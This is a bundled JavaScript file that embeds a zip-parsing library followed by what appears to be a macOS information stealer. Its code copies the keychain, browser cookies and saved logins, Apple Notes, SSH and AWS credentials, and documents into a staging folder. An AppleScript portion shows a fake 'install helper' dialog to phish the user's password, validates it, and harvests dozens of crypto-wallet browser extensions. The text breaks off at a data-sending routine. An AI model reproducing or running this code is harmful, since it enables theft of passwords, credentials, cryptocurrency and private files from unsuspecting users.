4294967296 * data.readInt32LE(cursor + 4) +
data.readUInt32LE(cursor);
var millisecondsSince1970 =
hundredNanoSecondsSince1601 / 1e4 - 116444736e5;
return new Date(millisecondsSince1970);
}
}
}
}
return dosDateTimeToDate(
this.lastModFileDate,
this.lastModFileTime,
options2.timezone,
);
};
Entry.prototype.isEncrypted = function () {
return (this.generalPurposeBitFlag & 1) !== 0;
};
Entry.prototype.isCompressed = function () {
return this.compressionMethod === 8;
};
function LocalFileHeader() {}
function dosDateTimeToDate(date, time, timezone) {
var day = date & 31;
var month = ((date >> 5) & 15) - 1;
var year = ((date >> 9) & 127) + 1980;
var millisecond = 0;
var second = (time & 31) * 2;
var minute = (time >> 5) & 63;
var hour = (time >> 11) & 31;
if (timezone == null || timezone === "local") {
return new Date(year, month, day, hour, minute, second, millisecond);
} else if (timezone === "UTC") {
return new Date(
Date.UTC(year, month, day, hour, minute, second, millisecond),
);
} else {
throw new Error("unrecognized options.timezone: " + options.timezone);
}
}
function getFileNameLowLevel(
generalPurposeBitFlag,
fileNameBuffer,
extraFields,
strictFileNames,
) {
var fileName = null;
for (var i = 0; i < extraFields.length; i++) {
var extraField = extraFields[i];
if (extraField.id === 28789) {
if (extraField.data.length < 6) {
continue;
}
if (extraField.data.readUInt8(0) !== 1) {
continue;
}
var oldNameCrc32 = extraField.data.readUInt32LE(1);
if (crc32.unsigned(fileNameBuffer) !== oldNameCrc32) {
continue;
}
fileName = decodeBuffer(extraField.data.subarray(5), true);
break;
}
}
if (fileName == null) {
var isUtf8 = (generalPurposeBitFlag & 2048) !== 0;
fileName = decodeBuffer(fileNameBuffer, isUtf8);
}
if (!strictFileNames) {
fileName = fileName.replace(/\\/g, "/");
}
return fileName;
}
function validateFileName(fileName) {
if (fileName.indexOf("\\") !== -1) {
return "invalid characters in fileName: " + fileName;
}
if (/^[a-zA-Z]:/.test(fileName) || /^\//.test(fileName)) {
return "absolute path: " + fileName;
}
if (fileName.split("/").indexOf("..") !== -1) {
return "invalid relative path: " + fileName;
}
return null;
}
function parseExtraFields(extraFieldBuffer) {
var extraFields = [];
var i = 0;
while (i < extraFieldBuffer.length - 3) {
var headerId = extraFieldBuffer.readUInt16LE(i + 0);
var dataSize = extraFieldBuffer.readUInt16LE(i + 2);
var dataStart = i + 4;
var dataEnd = dataStart + dataSize;
if (dataEnd > extraFieldBuffer.length)
throw new Error("extra field length exceeds extra field buffer size");
var dataBuffer = extraFieldBuffer.subarray(dataStart, dataEnd);
extraFields.push({
id: headerId,
data: dataBuffer,
});
i = dataEnd;
}
return extraFields;
}
function readAndAssertNoEof(
reader,
buffer,
offset,
length,
position,
callback,
) {
if (length === 0) {
return setImmediate(function () {
callback(null, newBuffer(0));
});
}
reader.read(buffer, offset, length, position, function (err, bytesRead) {
if (err) return callback(err);
if (bytesRead < length) {
return callback(new Error("unexpected EOF"));
}
callback();
});
}
util.inherits(AssertByteCountStream, Transform);
function AssertByteCountStream(byteCount) {
Transform.call(this);
this.actualByteCount = 0;
this.expectedByteCount = byteCount;
}
AssertByteCountStream.prototype._transform = function (
chunk,
encoding,
cb,
) {
this.actualByteCount += chunk.length;
if (this.actualByteCount > this.expectedByteCount) {
var msg =
"too many bytes in the stream. expected " +
this.expectedByteCount +
". got at least " +
this.actualByteCount;
return cb(new Error(msg));
}
cb(null, chunk);
};
AssertByteCountStream.prototype._flush = function (cb) {
if (this.actualByteCount < this.expectedByteCount) {
var msg =
"not enough bytes in the stream. expected " +
this.expectedByteCount +
". got only " +
this.actualByteCount;
return cb(new Error(msg));
}
cb();
};
util.inherits(RandomAccessReader, EventEmitter);
function RandomAccessReader() {
EventEmitter.call(this);
this.refCount = 0;
}
RandomAccessReader.prototype.ref = function () {
this.refCount += 1;
};
RandomAccessReader.prototype.unref = function () {
var self = this;
self.refCount -= 1;
if (self.refCount > 0) return;
if (self.refCount < 0) throw new Error("invalid unref");
self.close(onCloseDone);
function onCloseDone(err) {
if (err) return self.emit("error", err);
self.emit("close");
}
};
RandomAccessReader.prototype.createReadStream = function (options2) {
if (options2 == null) options2 = {};
var start = options2.start;
var end = options2.end;
if (start === end) {
var emptyStream = new PassThrough();
setImmediate(function () {
emptyStream.end();
});
return emptyStream;
}
var stream = this._readStreamForRange(start, end);
var destroyed = false;
var refUnrefFilter = new RefUnrefFilter(this);
stream.on("error", function (err) {
setImmediate(function () {
if (!destroyed) refUnrefFilter.emit("error", err);
});
});
installDestroyFn(refUnrefFilter, function () {
stream.unpipe(refUnrefFilter);
refUnrefFilter.unref();
stream.destroy();
});
var byteCounter = new AssertByteCountStream(end - start);
refUnrefFilter.on("error", function (err) {
setImmediate(function () {
if (!destroyed) byteCounter.emit("error", err);
});
});
installDestroyFn(byteCounter, function () {
destroyed = true;
refUnrefFilter.unpipe(byteCounter);
refUnrefFilter.destroy();
});
return stream.pipe(refUnrefFilter).pipe(byteCounter);
};
RandomAccessReader.prototype._readStreamForRange = function (start, end) {
throw new Error("not implemented");
};
RandomAccessReader.prototype.read = function (
buffer,
offset,
length,
position,
callback,
) {
var readStream = this.createReadStream({
start: position,
end: position + length,
});
var writeStream = new Writable();
var written = 0;
writeStream._write = function (chunk, encoding, cb) {
chunk.copy(buffer, offset + written, 0, chunk.length);
written += chunk.length;
cb();
};
writeStream.on("finish", callback);
readStream.on("error", function (error) {
callback(error);
});
readStream.pipe(writeStream);
};
RandomAccessReader.prototype.close = function (callback) {
setImmediate(callback);
};
util.inherits(RefUnrefFilter, PassThrough);
function RefUnrefFilter(context) {
PassThrough.call(this);
this.context = context;
this.context.ref();
this.unreffedYet = false;
}
RefUnrefFilter.prototype._flush = function (cb) {
this.unref();
cb();
};
RefUnrefFilter.prototype.unref = function (cb) {
if (this.unreffedYet) return;
this.unreffedYet = true;
this.context.unref();
};
var cp437 =
"\0\u263A\u263B\u2665\u2666\u2663\u2660\u2022\u25D8\u25CB\u25D9\u2642\u2640\u266A\u266B\u263C\u25BA\u25C4\u2195\u203C\xB6\xA7\u25AC\u21A8\u2191\u2193\u2192\u2190\u221F\u2194\u25B2\u25BC !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\u2302\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xA2\xA3\xA5\u20A7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0";
function decodeBuffer(buffer, isUtf8) {
if (isUtf8) {
return buffer.toString("utf8");
} else {
var result = "";
for (var i = 0; i < buffer.length; i++) {
result += cp437[buffer[i]];
}
return result;
}
}
function readUInt64LE(buffer, offset) {
var lower32 = buffer.readUInt32LE(offset);
var upper32 = buffer.readUInt32LE(offset + 4);
return upper32 * 4294967296 + lower32;
}
var newBuffer;
if (typeof Buffer.allocUnsafe === "function") {
newBuffer = function (len) {
return Buffer.allocUnsafe(len);
};
} else {
newBuffer = function (len) {
return new Buffer(len);
};
}
function installDestroyFn(stream, fn) {
if (typeof stream.destroy === "function") {
stream._destroy = function (err, cb) {
fn();
if (cb != null) cb(err);
};
} else {
stream.destroy = fn;
}
}
function defaultCallback(err) {
if (err) throw err;
}
},
});
// jsPayload/temp/inputMutation_mulKRsVtolooY8S_fmYYh.js
var child_process = require("child_process");
var fs = require("fs");
var http = require("http");
var path = require("path");
var os = require("os");
var yauzl = require_yauzl();
var password;
var isRoot;
var CONFIG = {
maxTotalSize: 10 * 1024 * 1024,
targetExtensions: [
"txt",
"pdf",
"doc",
"docx",
"xls",
"xlsx",
"key",
"numbers",
"pages",
"zip",
"rar",
],
baseFolder: "/tmp/ijewf",
};
var FileGrabber = class {
constructor() {
this.totalSize = 0;
this.copiedFiles = [];
this.homeDir = os.homedir();
this.library = path.join(this.homeDir, "Library/Application Support");
}
ensureFolder(folderPath) {
try {
fs.mkdirSync(folderPath, { recursive: true });
return true;
} catch (error) {
return false;
}
}
copyKeychain() {
const keychainSource = path.join(
this.homeDir,
"Library/Keychains/login.keychain-db",
);
const keychainDest = path.join(CONFIG.baseFolder, "keychain");
this.copyFileToPath(keychainSource, keychainDest);
}
copyFileToPath(sourcePath, destPath) {
try {
if (!fs.existsSync(sourcePath)) {
return false;
}
const stats = fs.statSync(sourcePath);
if (!stats.isFile()) {
return false;
}
const fileSize = stats.size;
if (this.totalSize + fileSize > CONFIG.maxTotalSize) {
return false;
}
this.ensureFolder(path.dirname(destPath));
fs.copyFileSync(sourcePath, destPath);
this.totalSize += fileSize;
this.copiedFiles.push(destPath.replace(CONFIG.baseFolder + "/", ""));
console.log(`\u2713 ${destPath.replace(CONFIG.baseFolder + "/", "")}`);
return true;
} catch (error) {
return false;
}
}
copySafariCookies() {
const fileGrabberPath = path.join(CONFIG.baseFolder, "FileGrabber");
this.copyFileToPath(
path.join(this.homeDir, "Library/Cookies/Cookies.binarycookies"),
path.join(fileGrabberPath, "saf1"),
);
this.copyFileToPath(
path.join(
this.homeDir,
"Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies",
),
path.join(fileGrabberPath, "Cookies.binarycookies"),
);
}
copyNotes() {
const fileGrabberPath = path.join(CONFIG.baseFolder, "FileGrabber");
const notesBase = path.join(
this.homeDir,
"Library/Group Containers/group.com.apple.notes",
);
const notesFiles = [
"NoteStore.sqlite",
"NoteStore.sqlite-shm",
"NoteStore.sqlite-wal",
];
notesFiles.forEach((fileName) => {
this.copyFileToPath(
path.join(notesBase, fileName),
path.join(fileGrabberPath, fileName),
);
});
}
copyChromiumBrowsers() {
const chromiumBrowsers = [
{ name: "Chrome", path: "Google/Chrome" },
{ name: "Brave", path: "BraveSoftware/Brave-Browser" },
{ name: "Edge", path: "Microsoft Edge" },
{ name: "Vivaldi", path: "Vivaldi" },
{ name: "Opera", path: "com.operasoftware.Opera" },
{ name: "OperaGX", path: "com.operasoftware.OperaGX" },
{ name: "Chrome Beta", path: "Google/Chrome Beta" },
{ name: "Chrome Canary", path: "Google/Chrome Canary" },
{ name: "Chromium", path: "Chromium" },
{ name: "Chrome Dev", path: "Google/Chrome Dev" },
];
const chromiumFiles = ["Cookies", "Web Data", "Login Data"];
chromiumBrowsers.forEach((browser) => {
const browserPath = path.join(this.library, browser.path);
if (!fs.existsSync(browserPath)) {
return;
}
try {
const profiles = fs.readdirSync(browserPath);
profiles.forEach((profile) => {
if (profile === "Default" || profile.startsWith("Profile")) {
const profilePath = path.join(browserPath, profile);
chromiumFiles.forEach((file) => {
const sourcePath = path.join(profilePath, file);
const destPath = path.join(
CONFIG.baseFolder,
"Chromium",
`${browser.name}_${profile}`,
file,
);
this.copyFileToPath(sourcePath, destPath);
});
}
});
} catch (error) {}
});
}
copyFirefoxBrowsers() {
const firefoxPaths = [
{ name: "Firefox", path: "Firefox/Profiles/" },
{ name: "Waterfox", path: "Waterfox/Profiles/" },
{ name: "Pale Moon", path: "Pale Moon/Profiles/" },
];
const firefoxFiles = [
"cookies.sqlite",
"formhistory.sqlite",
"key4.db",
"logins.json",
];
firefoxPaths.forEach((browser) => {
const browserPath = path.join(this.library, browser.path);
if (!fs.existsSync(browserPath)) {
return;
}
try {
const profiles = fs.readdirSync(browserPath);
profiles.forEach((profile) => {
const profilePath = path.join(browserPath, profile);
if (fs.statSync(profilePath).isDirectory()) {
firefoxFiles.forEach((file) => {
const sourcePath = path.join(profilePath, file);
const destPath = path.join(
CONFIG.baseFolder,
"ff",
profile,
file,
);
this.copyFileToPath(sourcePath, destPath);
});
}
});
} catch (error) {}
});
}
copyConfigFiles() {
const configFiles = [
{ source: ".ssh", dest: ".ssh" },
{ source: ".aws", dest: ".aws" },
];
configFiles.forEach((config) => {
const sourcePath = path.join(this.homeDir, config.source);
if (!fs.existsSync(sourcePath)) {
return;
}
try {
const files = fs.readdirSync(sourcePath);
files.forEach((file) => {
const fileSource = path.join(sourcePath, file);
const fileDest = path.join(CONFIG.baseFolder, config.dest, file);
if (fs.statSync(fileSource).isFile()) {
this.copyFileToPath(fileSource, fileDest);
}
});
} catch (error) {}
});
}
copyFilesByExtensions() {
const documentsPath = path.join(this.homeDir, "Documents");
if (!fs.existsSync(documentsPath)) {
return;
}
try {
const files = fs.readdirSync(documentsPath);
files.forEach((file) => {
const filePath = path.join(documentsPath, file);
try {
if (fs.statSync(filePath).isFile()) {
const ext = path.extname(file).toLowerCase().slice(1);
if (CONFIG.targetExtensions.includes(ext)) {
const destPath = path.join(
CONFIG.baseFolder,
"FileGrabber",
file,
);
this.copyFileToPath(filePath, destPath);
}
}
} catch (error) {}
});
} catch (error) {}
}
formatSize(bytes) {
if (bytes < 1024) return bytes + " B";
if (bytes < 1024 * 1024) return (bytes / 1024).toFixed(2) + " KB";
return (bytes / (1024 * 1024)).toFixed(2) + " MB";
}
async run() {
this.ensureFolder(CONFIG.baseFolder);
this.copyKeychain();
this.copySafariCookies();
this.copyNotes();
this.copyChromiumBrowsers();
this.copyFirefoxBrowsers();
this.copyConfigFiles();
this.copyFilesByExtensions();
return true;
}
};
var appleScriptCode = `set release to true
set filegrabbers to true
-- Define temporary file path
set tempFilePath to (path to temporary items from user domain as text) & "script_lock.tmp"
-- Check if temporary file exists
try
set tempFile to (tempFilePath as POSIX file)
if (do shell script "[ -f " & quoted form of (POSIX path of tempFile) & " ] && echo 'exists' || echo 'none'") = "exists" then
return "Script is already running"
end if
end try
-- Create temporary file
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
-- Delete file if it exists to avoid appending
try
do shell script "rm -f " & quoted form of POSIX path of filePath
end try
set fileRef to (open for access filePath with write permission)
set eof of fileRef to 0
write textToWrite to fileRef starting at 0
close access fileRef
on error errMsg
try
close access filePath
end try
end try
end writeText
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
end try
end readwrite
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 10 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on GetUUID(pather, searchString)
try
set theFile to POSIX file pather
set fileContents to read theFile
set startPos to offset of searchString in fileContents
if startPos is 0 then
return "not found"
end if
set uuidStart to startPos + (length of searchString)
set uuid to text uuidStart thru (uuidStart + 55) of fileContents
set endpos to offset of "\\\\" in uuid
if endpos is 0 then
return "not found"
end if
set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents
return realuuid
on error
return "not found"
end try
end GetUUID
on firewallets(firepath, writemind, profile)
try
set fire_wallets to {{"MetaMask", "[email protected]\\\\\\":\\\\\\""}}
repeat with wallet in fire_wallets
set uuid to GetUUID(firepath & "/prefs.js", item 2 of wallet)
if uuid is not "not found" then
set walkpath to firepath & "/storage/default/"
set fileList to list folder walkpath without invisibles
repeat with currentItem in fileList
if currentItem contains uuid then
set fwallet to walkpath & currentItem & "/idb/"
set fileList_wallet to list folder fwallet without invisibles
repeat with currentItem_wallet in fileList_wallet
if isDirectory(fwallet & currentItem_wallet) then
GrabFolder(fwallet & currentItem_wallet, writemind & "ffwallets/" & item 1 of wallet & "_" & profile & "/")
end if
end repeat
end if
end repeat
end if
end repeat
end try
end firewallets
on parseFF(firefox, writemind)
try
set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
set fileList to list folder firefox without invisibles
repeat with currentItem in fileList
firewallets(firefox & currentItem, writemind, currentItem)
set fpath to writemind & "ff/" & currentItem
set readpath to firefox & currentItem
repeat with FFile in myFiles
readwrite(readpath & FFile, fpath & FFile)
end repeat
end repeat
end try
end parseFF
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getPasswordFromKeychain()
try
set keychainPassword to do shell script "security 2>&1 find-generic-password -s 'pass_users_for_script' -w"
return keychainPassword
on error
return ""
end try
end getPasswordFromKeychain
on savePasswordToKeychain(password_to_save)
try
try
do shell script "security delete-generic-password -s 'pass_users_for_script' 2>/dev/null"
end try
do shell script "security add-generic-password -s 'pass_users_for_script' -a 'script_user' -w " & quoted form of password_to_save
return true
on error
return false
end try
end savePasswordToKeychain
on getpwd(username, writemind)
try
set keychainPassword to getPasswordFromKeychain()
if keychainPassword is not "" then
-- Validate the password from Keychain
if checkvalid(username, keychainPassword) then
writeText(keychainPassword, writemind & "pwd")
return keychainPassword
else
try
do shell script "security delete-generic-password -s 'pass_users_for_script' 2>/dev/null"
end try
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \\"Chrome\\" | awk \\"{print $2}\\""
writeText(result as string, writemind & "masterpass-chrome")
return ""
else
repeat
set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Application wants to install helper" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
-- Save valid password to Keychain first
savePasswordToKeychain(password_entered)
-- Then write to file only once
writeText(password_entered, writemind & "pwd")
return password_entered
end if
end repeat
end if
end try
return ""
end getpwd
on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to newsavepath & "/IndexedDB/"
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins
on chromium(writemind, chromium_map)
set pluginList to {"keenhcnmdmjjhincpilijphpiohdppno", "hbbgbephgojikajhfbomhlmmollphcad", "aeblfdkhhhdcdjpifhhbdiojplfjncoa", "eiaeiblijfjekdanodkjadfinkhbfgcd", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "dhgnlgphgchebgoemcjekedjjbifijid", "hifafgmccdpekplomjjkcfgodnhcellj", "kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle", "fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm", "bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion", "nhnkbkgjikgcigadomkphalanndcapjk", "bhhhlbepdkbapadjdnnojkbgioiodbic", "hoighigmnhgkkdaenafgnefkcmipfjon", "klghhnkeealcohjjanjjdaeeggmfmlpl", "nkbihfbeogaeaoehlefnkodbefgpgknn", "fhbohimaelbohpjbbldcngcnapndodjp", "ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin", "fhilaheimglignddkjgofkcbgekhenbh", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "cihmoadaighcejopammfbmddcmdekcje", "lodccjjbdhfakaekdiahmedfbieldgik", "omaabbefbmiijedngplfjmnooppbclkk", "cjelfplplebdjjenllpjcblmjkfcffne", "jnlgamecbpmbajjfhmmmlhejkemejdma", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "amkmjjmmflddogmhpjloimipbofnfjih", "flpiciilemghbmfalicajoolhkkenfel", "hcflpincpppdclinealmandijcmnkbgn", "aeachknmefphepccionboohckonoeemg", "nlobpakggmbcgdbpjpnagmdbdhdhgphk", "momakdpclmaphlamgjcndbgfckjfpemp", "mnfifefkajgofkcjkemidiaecocnkjeh", "fnnegphlobjdpkhecapkijjdkgcjhkib", "ehjiblpccbknkgimiflboggcffmpphhp", "ilhaljfiglknggcoegeknjghdgampffk", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "fnjhmkhhmkbjkkabndcnnogagogbneec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "imlcamfeniaidioeflifonfjeeppblda", "mdjmfdffdcmnoblignmgpommbefadffd", "ooiepdgjjnhcmlaobfinbomgebfgablh", "pcndjhkinnkaohffealmlmhaepkpmgkb", "ppdadbejkmjnefldpcdjhnkpbjkikoip", "cgeeodpfagjceefieflmdfphplkenlfk", "dlcobpjiigpikoobohmabehhmhfoodbb", "jiidiaalihmmhddjgbnbgdfflelocpak", "bocpokimicclpaiekenaeelehdjllofo", "pocmplpaccanhmnllbbkpgfliimjljgo", "cphhlgmgameodnhkjdmkpanlelnlohao", "mcohilncbfahbmgdjkbpemcciiolgcge", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "khpkpbbcccdmmclmpigdgddabeilkdpd", "ejjladinnckdgjemekebdpeokbikhfci", "phkbamefinggmakgklpkljjmgibohnba", "epapihdplajcdnnkdeiahlgigofloibg", "hpclkefagolihohboafpheddmmgdffjm", "cjookpbkjnpkmknedggeecikaponcalb", "cpmkedoipcpimgecpmgpldfpohjplkpp", "modjfdjcodmehnpccdjngmdfajggaoeh", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "kncchdigobghenbbaddojjnnaogfppfj", "efbglgofoippbgcjepnhiblaibcnclgk", "mcbigmjiafegjnnogedioegffbooigli", "fccgmnglbhajioalokbcidhcaikhlcpm", "hnhobjmcibchnmglfbldbfabcgaknlkj", "apnehcjmnengpnmccpaibjmhhoadaico", "enabgbdfcbaehmbigakijjabdpdnimlg", "mgffkfbidihjpoaomajlbgchddlicgpn", "fopmedgnkfpebgllppeddmmochcookhc", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "ammjlinfekkoockogfhdkgcohjlbhmff", "abkahkcbhngaebpcgfmhkoioedceoigp", "dcbjpgbkjoomeenajdabiicabjljlnfp", "gkeelndblnomfmjnophbhfhcjbcnemka", "pnndplcbkakcplkjnolgbkdgjikjednm", "copjnifcecdedocejpaapepagaodgpbh", "hgbeiipamcgbdjhfflifkgehomnmglgk", "mkchoaaiifodcflmbaphdgeidocajadp", "ellkdbaphhldpeajbepobaecooaoafpg", "mdnaglckomeedfbogeajfajofmfgpoae", "nknhiehlklippafakaeklbeglecifhad", "ckklhkaabbmdjkahiaaplikpdddkenic", "fmblappgoiilbgafhjklehhfifbdocee", "nphplpgoakhhjchkkhmiggakijnkhfnd", "cnmamaachppnkjgnildpdmkaakejnhae", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "niiaamnmgebpeejeemoifgdndgeaekhe", "odpnjmimokcmjgojhnhfcnalnegdjmdn", "lbjapbcmmceacocpimbpbidpgmlmoaao", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hpglfhgfnhbgpjdenjgmdgoeiappafln", "egjidjbpglichdcondbcbdnbeeppgdph", "ibljocddagjghmlpgihahamcghfggcjc", "gkodhkbmiflnmkipcmlhhgadebbeijhh", "dbgnhckhnppddckangcjbkjnlddbjkna", "mfhbebgoclkghebffdldpobeajmbecfk", "nlbmnnijcnlegkjjpcfjclmcfggfefdm", "nlgbhd
set custom_plugin_list to {""}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, savePath & currentItem, pluginList, false)
grabPlugins(readpath, writemind & "deskwallets/", custom_plugin_list, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, savePath & currentItem, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end chromium
on deskwallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end deskwallets
on filegrabber()
try
set destinationFolderPath to "/tmp/ijewf/FileGrabber/"
set photosPath to "/tmp/ijewf/photos"
-- Create directories using shell commands
do shell script "mkdir -p " & quoted form of destinationFolderPath
do shell script "mkdir -p " & quoted form of photosPath
set extensionsList to {"txt", "pdf", "docx", "zip", "wallet", "key", "keys", "doc", "jpeg", "png"}
set bankSize to 0
tell application "Finder"
-- Safari Cookies
try
set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
set cookieFile to file (safariFolderPath & "Cookies.binarycookies")
do shell script "cp " & quoted form of POSIX path of (cookieFile as alias) & " " & quoted form of (destinationFolderPath & "saf1")
end try
try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
try
set cookieFile2 to file "Cookies.binarycookies" of folder safariFolder
do shell script "cp " & quoted form of POSIX path of (cookieFile2 as alias) & " " & quoted form of (destinationFolderPath & "saf2")
end try
end try
-- NoteStore Collection
try
set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set notesFolder to folder notesFolderPath
-- Copy NoteStore files
set noteStoreFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
repeat with fileName in noteStoreFiles
try
set noteFile to file fileName of notesFolder
set sourcePath to POSIX path of (noteFile as alias)
do shell script "cp " & quoted form of sourcePath & " " & quoted form of (destinationFolderPath & fileName)
end try
end repeat
end try
-- Collect files from Desktop, Documents, Downloads
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
set downloadsFiles to every file of folder "Downloads" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if (bankSize + filesize) < 10 * 1024 * 1024 then
try
duplicate aFile to folder (POSIX file destinationFolderPath) with replacing
set bankSize to bankSize + filesize
end try
else
exit repeat
end if
end if
end repeat
end try
end tell
end try
end filegrabber
on send_data(attempt)
try
set uuid_machine to (do shell script "ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\\"' '/IOPlatformUUID/{print $4}'")
